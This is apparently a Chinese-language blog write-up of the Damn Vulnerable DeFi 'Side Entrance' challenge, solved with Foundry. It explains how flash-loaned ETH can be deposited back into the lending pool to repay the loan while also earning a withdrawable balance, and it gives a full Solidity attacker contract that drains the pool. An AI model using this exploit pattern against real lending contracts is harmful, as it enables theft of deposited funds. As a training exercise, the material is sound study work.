banner
zach

zach

github
twitter
medium

該死的易受攻擊的DeFi | 側門

挑戰 #4 - 側門入口#

為了學習 solidity 和 foundry 系統,我使用 foundry 測試框架重新編寫了 damnvulnerable-defi 的解題方案,歡迎交流和共建~🎉

合約#

  • SideEntranceLenderPool:提供 deposit 和 withdraw 方法,支援閃電貸款

腳本#

  • 部署 SideEntranceLenderPool 合約
  • 向 pool 中 deposit eth 數目 ETHER_IN_POOL
  • 執行攻擊腳本
  • 期望 pool 中的餘額為 0,player 餘額大於 ETHER_IN_POOL

解題方案#

本題的攻克點在於 deposit+withdraw,可以先通過閃電貸款獲得 eth,再呼叫 deposit 獲得憑證,再結束閃電貸款後通過 withdraw 提取出 eth,整體流程圖如下所示:

image

  • 呼叫 pool 的 flashLoan 方法時會呼叫IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();,因此在攻擊合約中需要實現execute方法,做的工作就是進行 deposit,從而完成閃電貸款還款,還多記錄了一份存款憑證
  • player 再通過呼叫 withdraw 方法從 pool 中取出對應的 eth,全部轉移到 player,完成攻擊

合約代碼如下:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/side-entrance/SideEntranceLenderPool.sol";

contract Attacker {

    SideEntranceLenderPool pool;
    address owner;
    constructor(address _pool){
        pool = SideEntranceLenderPool(_pool);
        owner = msg.sender;
    }
    
    receive() external payable {
        payable(owner).transfer(msg.value);
    }

    function attack(uint256 amount) external payable{
        pool.flashLoan(amount);
    }

    function execute() external payable{
        uint256 value = msg.value;
        // deposit
        pool.deposit{value: value}();
    }

    function withdraw() external{
        pool.withdraw();
    }
}
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。